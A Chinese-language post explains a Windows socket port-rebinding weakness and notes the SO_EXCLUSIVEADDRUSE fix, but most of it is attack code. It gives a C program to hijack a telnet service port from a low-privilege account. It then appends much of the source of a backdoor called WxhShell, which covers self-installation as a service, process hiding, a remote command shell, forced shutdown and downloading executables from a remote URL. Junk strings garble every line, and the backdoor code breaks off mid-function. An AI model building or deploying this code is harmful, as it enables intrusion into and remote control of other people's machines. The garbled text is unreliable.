在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
! AwMD s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
dJR[9T_OF {<yapBMw saddr.sin_family = AF_INET;
ZPZh6^cc IQJ"B6U) saddr.sin_addr.s_addr = htonl(INADDR_ANY);
T >8P1p@A, h]<S0/ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
*s4|'KS2o -+ByK#<% 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
&3SS.&g4W ?W'z5'| 这意味着什么?意味着可以进行如下的攻击:
e)uC LSta]81B4L 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
-+E.I*st Xc-["y64 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
.\caRb[ JX0M3|I= 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
3%*igpj\) n=!T(Hk 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
]r;rAOWVV t/[lA=0 )2 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
TOHz3= O&?i#@5# 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
/MtmO$. <);q,|eh2 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
rf0Z5. v_zt$bf{Y #include
c+l1l0BA #include
d.+*o #include
F>\,`wP #include
}sxs- DWORD WINAPI ClientThread(LPVOID lpParam);
Bj7*2} int main()
2 `AdNt, {
Z 7@'I0;A WORD wVersionRequested;
i~Tt\UA> DWORD ret;
]y{tMC WSADATA wsaData;
k^}[+IFJ BOOL val;
W5u5!L/ SOCKADDR_IN saddr;
~) ;4O8~. SOCKADDR_IN scaddr;
Z8=?Hu int err;
W|2^yO,dX SOCKET s;
TFkG"ev SOCKET sc;
8fqabR int caddsize;
QD.5oS HANDLE mt;
[<=RsD_q~ DWORD tid;
-o+t&m wVersionRequested = MAKEWORD( 2, 2 );
+jE)kaV% err = WSAStartup( wVersionRequested, &wsaData );
IGTO|sT" if ( err != 0 ) {
[6TI_U~ printf("error!WSAStartup failed!\n");
%uo8z~+ return -1;
).kU7;0 }
ftY&Q#[ saddr.sin_family = AF_INET;
`)a|Q v.W! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
,P<I<QYu oI-Fr0! saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
S+06pj4Ie saddr.sin_port = htons(23);
|Kd6.Mx if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
6teu_FS {
b#I,Z+0ry printf("error!socket failed!\n");
EG\L]fmD return -1;
<uIPv
Zsx }
VQ!4(
<XD val = TRUE;
^:?z7m //SO_REUSEADDR选项就是可以实现端口重绑定的
|6NvByc, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
#4|RaI|. {
Q+f|.0r printf("error!setsockopt failed!\n");
&K]|{1+ return -1;
Jha*BaD~N }
Vc'p+e|( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
~6#mVP5sU) //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
qF3S\
C //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
'0 Ys`Qo jEKa9rt if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Tyb_'|?rW {
Mxz
X@GBX ret=GetLastError();
RCqL~7C+ k printf("error!bind failed!\n");
b5g^{bzwu return -1;
vasw@Uto) }
HV`u#hZ7C listen(s,2);
BfCib]V9C while(1)
rREev {
akw:3+` caddsize = sizeof(scaddr);
sUF5Yq:9 //接受连接请求
R(Vd[EGY sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
NO*~C',cI/ if(sc!=INVALID_SOCKET)
Bptt" {
pnz@;+f mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
5YZ\@<|rH if(mt==NULL)
;2 o{6 {
>VjtKSN printf("Thread Creat Failed!\n");
m$Tt y[0 break;
]Gl_L7u` }
i_6 wD }
yPbOiA*lHz CloseHandle(mt);
K~L"A]+ }
gKU*@`6G closesocket(s);
?fs#K;w WSACleanup();
yyR@kOGga return 0;
P\c0Q;){h" }
r'}#usB( DWORD WINAPI ClientThread(LPVOID lpParam)
bv[*jr;45 {
_}Gs9sHr0K SOCKET ss = (SOCKET)lpParam;
:+DAzjwO< SOCKET sc;
$AFiPH9 unsigned char buf[4096];
Z?",+|4 SOCKADDR_IN saddr;
/=OSGIJzm long num;
]
)x z DWORD val;
r52,f%nlm DWORD ret;
8&f"")m //如果是隐藏端口应用的话,可以在此处加一些判断
[TV"mA //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
NOmSLIgt7 saddr.sin_family = AF_INET;
PzTTL=G + saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
J2#=`|t" saddr.sin_port = htons(23);
kqAQrg]n if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
NU/~E"^I. {
;v+CQx printf("error!socket failed!\n");
7e#|=e
*I! return -1;
a( {`<F }
$t</{]iX val = 100;
Pq7tNM E if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"/XS3sv"s {
kk5i{.?[ ret = GetLastError();
)@`w^\E_~_ return -1;
+TX
p;6pA }
&akMj@4;R if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
O,1u\Zy/ {
Q}Vho.N@= ret = GetLastError();
k~?}z.g( return -1;
iii$)4V }
6nSk,yE'hE if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
o_*|`E {
"RX?"pB printf("error!socket connect failed!\n");
$ .Z2Rdlv( closesocket(sc);
L,4^Of closesocket(ss);
Iq}h}Wd return -1;
`y6l^ep }
ta 6WZu while(1)
FW.dHvNX {
Y@\5gZ&T //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
_0j}(Q>|H# //如果是嗅探内容的话,可以再此处进行内容分析和记录
+@qk=]3a //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
mVL,J=2 num = recv(ss,buf,4096,0);
CijS=- if(num>0)
?Ru`ma\; send(sc,buf,num,0);
q@-qA] else if(num==0)
4K;j:ZJ"x break;
c _a$g num = recv(sc,buf,4096,0);
jb![ Lp if(num>0)
lqCn5|S] send(ss,buf,num,0);
1=a}{)0h else if(num==0)
J3.Q8f break;
:{
T#M$T }
+e:ZN
tr9 closesocket(ss);
8W[]#~77b closesocket(sc);
@!'H'GvA return 0 ;
">QY'r }
>C}RZdO~ lmcDA,7 _dBU6U:V ==========================================================
X[~CLKH( ?.4l1X6Ba 下边附上一个代码,,WXhSHELL
w;$+7 ,7g;r_qwA ==========================================================
:Y3?, r?I(me, #include "stdafx.h"
\-0` %k"& 7&)F;;H #include <stdio.h>
UIj/Id #include <string.h>
~QcKW<bz #include <windows.h>
(B-9M) #include <winsock2.h>
VC(|t} L4 #include <winsvc.h>
ECzNByP #include <urlmon.h>
%p60pn[( \^4$}@*] #pragma comment (lib, "Ws2_32.lib")
#+PbcL #pragma comment (lib, "urlmon.lib")
;alFK*K6 w0Y%}7 #define MAX_USER 100 // 最大客户端连接数
OP}p;( #define BUF_SOCK 200 // sock buffer
[ d7]&i}*| #define KEY_BUFF 255 // 输入 buffer
6w;|-/:` XE*bRTEw #define REBOOT 0 // 重启
q)b?X
^ #define SHUTDOWN 1 // 关机
3= zQ
U J"%}t\Q #define DEF_PORT 5000 // 监听端口
uP2a\C,$ RAI&;" #define REG_LEN 16 // 注册表键长度
DZ.trtK #define SVC_LEN 80 // NT服务名长度
ji
-1yX ]!aa#?Fc // 从dll定义API
F5MPy[ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
mm-UQ\h typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
l|em E
^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
a[g|APZz typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
a&"*UJk<? =Zy!',,d,9 // wxhshell配置信息
i%4k5[f.: struct WSCFG {
D])YP0|} int ws_port; // 监听端口
TF-Ty char ws_passstr[REG_LEN]; // 口令
_lv:"/3R int ws_autoins; // 安装标记, 1=yes 0=no
yKEFne8^ char ws_regname[REG_LEN]; // 注册表键名
otD?J= B char ws_svcname[REG_LEN]; // 服务名
=L),V~b char ws_svcdisp[SVC_LEN]; // 服务显示名
vcO`j<` char ws_svcdesc[SVC_LEN]; // 服务描述信息
`lezJ(Xm char ws_passmsg[SVC_LEN]; // 密码输入提示信息
]=VS~azZ5 int ws_downexe; // 下载执行标记, 1=yes 0=no
eSNSnh]' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
n(YHk\2 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
dHF$T33It $YY)g$ };
hUvuq,LH_ \Fg6b6 // default Wxhshell configuration
/NX7Vev struct WSCFG wscfg={DEF_PORT,
2qMsa>~ "xuhuanlingzhe",
,]_(-tyN| 1,
uE#,c\[8 "Wxhshell",
xTFrrmxOf "Wxhshell",
F*JvpI[7n "WxhShell Service",
]Bd3d% "Wrsky Windows CmdShell Service",
_pko]F|() "Please Input Your Password: ",
"=\_++ 1,
5YI/Ec "
http://www.wrsky.com/wxhshell.exe",
J2<
QAX "Wxhshell.exe"
s7nX\:Bw: };
k;_KKvQ 6$fnQcpJ // 消息定义模块
~/jxB)t char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
m_!vIUOz char *msg_ws_prompt="\n\r? for help\n\r#>";
k)usUP' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
+}1hU
:qW char *msg_ws_ext="\n\rExit.";
_p J_V>l char *msg_ws_end="\n\rQuit.";
K+@eH#Cv,( char *msg_ws_boot="\n\rReboot...";
s w.AfRQP char *msg_ws_poff="\n\rShutdown...";
8\)U|/A7 char *msg_ws_down="\n\rSave to ";
fQW_YQsb 1 73<x){ char *msg_ws_err="\n\rErr!";
v=.z|QD^1 char *msg_ws_ok="\n\rOK!";
Bq~hV;9nf 8S1P&+iKs char ExeFile[MAX_PATH];
I51oG:6fR? int nUser = 0;
5Hwo)S]r HANDLE handles[MAX_USER];
?#* int OsIsNt;
`o_fUOe8a k)5_1 y SERVICE_STATUS serviceStatus;
-4?xwz9o$7 SERVICE_STATUS_HANDLE hServiceStatusHandle;
fEj9R@u+h t$H':l0 // 函数声明
oT|P1t. int Install(void);
(lN;xT`= int Uninstall(void);
Cv>yAt.3 int DownloadFile(char *sURL, SOCKET wsh);
XatA8(_,5 int Boot(int flag);
X%a;i6pq void HideProc(void);
9P7xoXJ@y int GetOsVer(void);
0\cnc^Z int Wxhshell(SOCKET wsl);
N4a`8dS| void TalkWithClient(void *cs);
3'[Rvy{ int CmdShell(SOCKET sock);
oI_oz0nHk int StartFromService(void);
X`fhln9N int StartWxhshell(LPSTR lpCmdLine);
dU ,)TKQ msc 1^2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
E[jXUOu- VOID WINAPI NTServiceHandler( DWORD fdwControl );
:F7k{~ 1m>^{u // 数据结构和表定义
rb:<N%*t SERVICE_TABLE_ENTRY DispatchTable[] =
+X:J]-1) {
(]3ERPn#y {wscfg.ws_svcname, NTServiceMain},
y@o9~?M {NULL, NULL}
<I7(eh6d };
a~,Kz\Tt &I%IaNco // 自我安装
/N>} 4Ay int Install(void)
`g--QR {
d ,UCH char svExeFile[MAX_PATH];
#G[t X6gU HKEY key;
rkq#7 strcpy(svExeFile,ExeFile);
<KX&zi<L) teAukE=} // 如果是win9x系统,修改注册表设为自启动
Y3k[~A7X if(!OsIsNt) {
T<P0T< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Pubv$u2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
B X*69 RegCloseKey(key);
/[%w*v*' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
X &D{5~qC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
KU]ok ' RegCloseKey(key);
Jld\8= return 0;
`;$h'eI9 }
gX^ PSsp }
P3!Atnv2 }
W&YU^&`Yr else {
0\Y1}C TdFT];: // 如果是NT以上系统,安装为系统服务
pM9yOY SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
>g]ON9CGH if (schSCManager!=0)
P#MK {
,:UX<6l
R SC_HANDLE schService = CreateService
-9d%+O~v6~ (
GJ,aRI schSCManager,
WI&lj<* wscfg.ws_svcname,
doR4nRl9 wscfg.ws_svcdisp,
oxzq!U SERVICE_ALL_ACCESS,
H O*YBL SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
cS(;Qs]Q SERVICE_AUTO_START,
DZk1ZLz SERVICE_ERROR_NORMAL,
8I.VJ3Q
svExeFile,
YG`?o NULL,
2.nE
k NULL,
E7`qmn NULL,
RgZOt[!. NULL,
Q|c|2byb NULL
-{{[cTI );
VD[pZ2;4 if (schService!=0)
)+EN$*H {
:h*a
rT4{ CloseServiceHandle(schService);
uR:rO^ CloseServiceHandle(schSCManager);
+
>nr.,qo3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
S&wzB)#' strcat(svExeFile,wscfg.ws_svcname);
p!DP`Ouc3\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
R\O.e RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
[Y8S[YY RegCloseKey(key);
v0LGdX)/Y return 0;
?\y%]1 }
t)a;/scT }
pW|u P8# CloseServiceHandle(schSCManager);
HID([Wk }
[Y/:@t"2y }
pj8azFZ K0Tg|9
return 1;
BC7 7<R!E) }
^ R~~L U(,.D}PG // 自我卸载
+@:L|uFU int Uninstall(void)
#fDs[ {
Mu&x_&| HKEY key;
N$#\Xdo DQ80B)<O if(!OsIsNt) {
LW:1/w&pv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<Ef[c@3 RegDeleteValue(key,wscfg.ws_regname);
4XJiIa? RegCloseKey(key);
5o0Ch if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+ts0^;QO2{ RegDeleteValue(key,wscfg.ws_regname);
$k%Z$NSN= RegCloseKey(key);
3)N\'xFh@ return 0;
-t-tn22 }
DL8x":; }
]l;*$2w) }
XKU=oI0\j else {
$B
.Qc!m vhgLcrn SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
=RKSag& if (schSCManager!=0)
'i|rjW( {
0. ;}]v SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
>)**khuP7 if (schService!=0)
U[\Vj_?(I {
8P: spD0 if(DeleteService(schService)!=0) {
jvwwJ<K CloseServiceHandle(schService);
[f{VIE*?% CloseServiceHandle(schSCManager);
TO#Pz.)>B6 return 0;
n/Dp"4H%q }
!0}\&<8/m CloseServiceHandle(schService);
:d,^I@] }
^J/)6/TMXm CloseServiceHandle(schSCManager);
cP>o+-) }
rf
K8q'@ }
=xN= # #"*e+.j[; return 1;
nt
:N!suP3 }
cj$6 tkKJh !Q7 // 从指定url下载文件
ko\):DN int DownloadFile(char *sURL, SOCKET wsh)
[iS$JG-
{
Y]g?2N=E HRESULT hr;
1DJekiWf char seps[]= "/";
[]pN$]+c char *token;
aaW]JmRb char *file;
zu\`1W^ char myURL[MAX_PATH];
i@P}{ char myFILE[MAX_PATH];
j}J Z
gzn^#3 b strcpy(myURL,sURL);
MgMD\ token=strtok(myURL,seps);
k;^
: while(token!=NULL)
{S.>BXX {
mTDVlw0dh file=token;
Ctu?o+^;z token=strtok(NULL,seps);
{8RFK4! V@ }
5FeFN) QG
gF|c7 GetCurrentDirectory(MAX_PATH,myFILE);
t67Cv/r~ strcat(myFILE, "\\");
Sv[ 5NZn0& strcat(myFILE, file);
#1nJ(-D+ send(wsh,myFILE,strlen(myFILE),0);
_2ef LjXQ send(wsh,"...",3,0);
X[$++p
. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
/F/;G*n if(hr==S_OK)
2 -+f1, return 0;
3R$Z[D- else
z? ]G3$i( return 1;
ro~+j}* Am4lEvb }
r?$?;%|C kL*0M<0 ( // 系统电源模块
Yl cbW0'c int Boot(int flag)
9WG{p[ {
9)dfL?x8V{ HANDLE hToken;
pbXi9|bI TOKEN_PRIVILEGES tkp;
RVw9Y*]b K95;rd if(OsIsNt) {
SI:ifR&T OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
e&<yX LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
:;]Oc tkp.PrivilegeCount = 1;
6=GZLpv tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
oA-:zz>wL AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
VyLH"cCv if(flag==REBOOT) {
_"a=8a06G if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
E>jh"|f:{ return 0;
g{k1&| }
%q3$|> else {
uRV<?y% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
JH,/jR return 0;
3INI?y}t }
)(M7lq.e7 }
gxNL_(A else {
$D1w5o- if(flag==REBOOT) {
C@\{ehG if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
]jMKC8uz return 0;
6=_~0PcY }
Dr<='Ux[5 else {
X@N$Z{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
DbI!l`Vn4 return 0;
;U=q-tb }
E$s/]wnr[ }
;i uQ?MR3 ;!>Wz9 return 1;
a
dfR!&J }
q6#<[ 4? dIweg=x // win9x进程隐藏模块
:Sg&0Wj+#j void HideProc(void)
x+5k
<Xi} {
)EM7,xMz /lhz],w HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
&jA\hg#9 if ( hKernel != NULL )
gwkb!#A {
!\ND( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
q}|U4MJm ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
+]xFoH
FreeLibrary(hKernel);
Y&bMCI6U }
#EO1`9f48x R"Liz3Vl% return;
'vV$]/wBF }
S:Q! "U <~emx'F| // 获取操作系统版本
"bQ[CD int GetOsVer(void)
vE, 37 {
j|fd-<ng OSVERSIONINFO winfo;
]DG?R68DQ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
|[xi/Q^7 GetVersionEx(&winfo);
gT+Bhr if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
`g''rfk} return 1;
$& ~;@*[ else
rZ1Hf11C return 0;
\YJy#2K }
-cF'2Sfr ?9MVM~$ // 客户端句柄模块
sd re#@n} int Wxhshell(SOCKET wsl)
n| O [a6G {
+t)n;JHN SOCKET wsh;
l]!9$ struct sockaddr_in client;
iTo k[uJ} DWORD myID;
v`[Eb27W. A1Y7;-D while(nUser<MAX_USER)
;Q0bT`/X {
&NZfJs int nSize=sizeof(client);
?kw&=T! wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
\(UKdv if(wsh==INVALID_SOCKET) return 1;
t=euE{c I8Vb-YeS handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
`\|ssC8u if(handles[nUser]==0)
yR~-k?7b closesocket(wsh);
X~.f7Ao[ else
._:nw=Y0<} nUser++;
JWP*>\P }
[&S}dQ" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
=4!nFi lG<hlYckv return 0;
>XW*T5aUA }
-|yb[~3 n}-3o]ku // 关闭 socket
wmr-}Y!9u% void CloseIt(SOCKET wsh)
Rs& @4_D {
#1-xw~_ closesocket(wsh);
'WyTI^K9 nUser--;
Ft JjY@# ExitThread(0);
}f>H\iJe }
cF T 9Lnz @MR?6 n*k // 客户端请求句柄
!{^\1QK void TalkWithClient(void *cs)
`ejUs]SR {
s$h]
G[x G`=r^$.3WB SOCKET wsh=(SOCKET)cs;
2Nc>6 char pwd[SVC_LEN];
L}{`h char cmd[KEY_BUFF];
=;~I_)Pg1 char chr[1];
0IM8 int i,j;
lVH<lp_ZtK *y[PNqyd while (nUser < MAX_USER) {
Q'B6^%:<~ R614#yn-+ if(wscfg.ws_passstr) {
|w}w.% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
X+8B!F //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
#:fQ.WWO //ZeroMemory(pwd,KEY_BUFF);
e59dVFug.U i=0;
dpZ;l 9 while(i<SVC_LEN) {
Q'apG)0I 9|'B9C // 设置超时
_,h@:Xij fd_set FdRead;
(3vHY`9 struct timeval TimeOut;
T>>YNaUL FD_ZERO(&FdRead);
y k161\ FD_SET(wsh,&FdRead);
aiCFH_H4;L TimeOut.tv_sec=8;
yTM{|D]$( TimeOut.tv_usec=0;
kW=z+ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
OIb if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
}7<5hn E d=.2@Ry if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
"+ "{+k5t pwd
=chr[0]; rWtZj}A
if(chr[0]==0xd || chr[0]==0xa) { {kI#A?M
pwd=0; Ru!He,k7
break; nHFrG
=o,
} n
?[/ufl
i++; I lR\
#
} 4tA_YIv
}|)R
// 如果是非法用户,关闭 socket H Yr}wG
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k4J8O3E
} :)f7A7 :;
mbl]>JsQD
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z~6y+
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ths_CKwgWY
0:Xxl76v4
while(1) { _Yb_D/
10Wz,vW,n
ZeroMemory(cmd,KEY_BUFF); q*jNH\|
a[bBT@f
// 自动支持客户端 telnet标准 ~i'Nqe_
j=0; 2U
kK0ls
while(j<KEY_BUFF) { vEM(bT=H
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `D7C?M#j]
cmd[j]=chr[0]; /h2b;"
if(chr[0]==0xa || chr[0]==0xd) { 8cx=#Me
cmd[j]=0; txql 2
break; -a Gcf]6
} 4o:hyh
j++; Yx'res4e
} ^(}585b
~`;rNnOT3
// 下载文件 9ch#}/7B
if(strstr(cmd,"http://")) { 3CjL\pIC
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1iT\df
if(DownloadFile(cmd,wsh)) NIr@R7MKd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); iJFs0?*
else S/vf'gj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c47")2/yO
} Nb2Qp
K
else { &}mw'_ I
C8N{l:1f]
switch(cmd[0]) { DH DZ_t:
v}G]X Z8
// 帮助 TfxwVPX
case '?': { C9n}6Er=,
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^ OJyN,A
break; '+'CbWgY
} ~H)4)r^
// 安装 I[MgIr^
case 'i': { R)?{]]v
if(Install()) c9' '
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D*5hrkV9
else rRES8/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !2CL1j0(
break; T@wcHg
} xieP "6
// 卸载 ;cQW sTfT
case 'r': { gV1[3dW
if(Uninstall()) <HWS:'1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E9j+o y
else O40+M)e]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uD_v!
break; 3OyS8`
}
r#PMy$7L
// 显示 wxhshell 所在路径 $FH18
case 'p': { q:>^ "P{
char svExeFile[MAX_PATH]; +@9gkPQQ-@
strcpy(svExeFile,"\n\r"); Op.8a`XLt&
strcat(svExeFile,ExeFile); {s?M*_{|
send(wsh,svExeFile,strlen(svExeFile),0); .%EL \2
break; ?[TfpAtQ`
} PW(\4Q\
// 重启 + Y.1)i}
case 'b': { S|V4[ssB
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \e=_
2^v!_
if(Boot(REBOOT)) &hHW3Q(1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !9*c8bL D
else { 3H\w2V
closesocket(wsh); +.B<Hd
ExitThread(0); iq#b#PYA
} _i_Q?w`
break; #T K~eHi
} x} /,yaWZ
// 关机 2'jOP"G
case 'd': { 0X8t>#uF
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DF]9@{
if(Boot(SHUTDOWN)) Xm2\0=v5;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Q7R6*<N:
else { hD,:w%M
closesocket(wsh); v!3A9!.
ExitThread(0); DDT_kK;
} -hcS]~F
break; nZ1zJpBmI
} e<7.y#L
// 获取shell l5%G'1w#,j
case 's': { rVvR!"//yH
CmdShell(wsh); 'AGto'Yy;
closesocket(wsh); [u@Jc,
ExitThread(0); Jk|Q`h
break; .xzEAu ;
} ,H}_%}10
// 退出 |@?%Ct
case 'x': { JTqDr
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (z7vl~D
CloseIt(wsh); _LP/!D
break; `.x$7!zLC
} 65z"
// 离开 !Bz0^1,L
case 'q': { :.(;<b<\
send(wsh,msg_ws_end,strlen(msg_ws_end),0); EcIE~qs
closesocket(wsh); dpQG[vXe
WSACleanup(); {l_{T4xToB
exit(1); ~DO4,
break; (npj_s!.C)
} rG?>ltxB
} g&dPd7
} 9[!,c`pw
}(a+aHH
// 提示信息 tH=P6vY
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,1'4o3
} fA'qd.{f^
} h%WE=\,Qp
f>'Y(dJ'W
return; #T`t79*N
} js1!9%BV
ys_`e
// shell模块句柄
IUR<.Y`
int CmdShell(SOCKET sock) f}guv~K
{ Y_`- 9'&
STARTUPINFO si; '
|-JWH
ZeroMemory(&si,sizeof(si)); imQURC
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yA{W
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3+>G#W~
PROCESS_INFORMATION ProcessInfo; Y*_)h\f
char cmdline[]="cmd"; Qf@I)4'
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NM)k/?fA
return 0; m*e{\)rd#
} I ZQHu h
>-&R47G
// 自身启动模式 \OlmF<~
int StartFromService(void) keRE==(D
{ 04r$>#E
typedef struct ]v+31vdf:O
{ Ym;*Y !~[
DWORD ExitStatus; E2)h?cs
DWORD PebBaseAddress; Spt?>sm
